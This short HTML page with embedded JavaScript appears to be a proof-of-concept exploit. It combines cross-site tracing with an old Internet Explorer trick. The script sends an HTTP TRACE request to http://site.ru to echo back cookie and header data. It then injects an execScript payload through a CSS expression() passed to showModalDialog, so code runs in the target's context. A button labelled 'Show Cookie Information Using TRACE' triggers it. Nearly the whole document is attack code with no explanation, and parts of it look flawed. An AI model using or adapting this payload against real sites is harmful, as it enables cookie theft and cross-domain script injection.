<script> 
function xssDomainTraceRequest(){ 
var xmlHttp = new ActiveXObject('Microsoft.XMLHTTP'); 
var exampleCode = xmlHttp; 
xmlHttp.open ("TRACE","http://site.ru",false); 
xmlHttp.send (); 
xmlDoc=xmlHttp.responseText; 
alert (xmlDoc); 
var target = "http://site.ru"; 
cExampleCode = encodeURIComponent(exampleCode + ';top.close()'); 
var readyCode = 'font-size: expression(execScript(decodeURIComponent("' + 
cExampleCode + '")))'; 
showModalDialog(target, null, readyCode); 
} 
</script> 

<INPUT TYPE="BUTTON" OnClick="xssDomainTraceRequest()" VALUE="Show Cookie 
Information Using TRACE">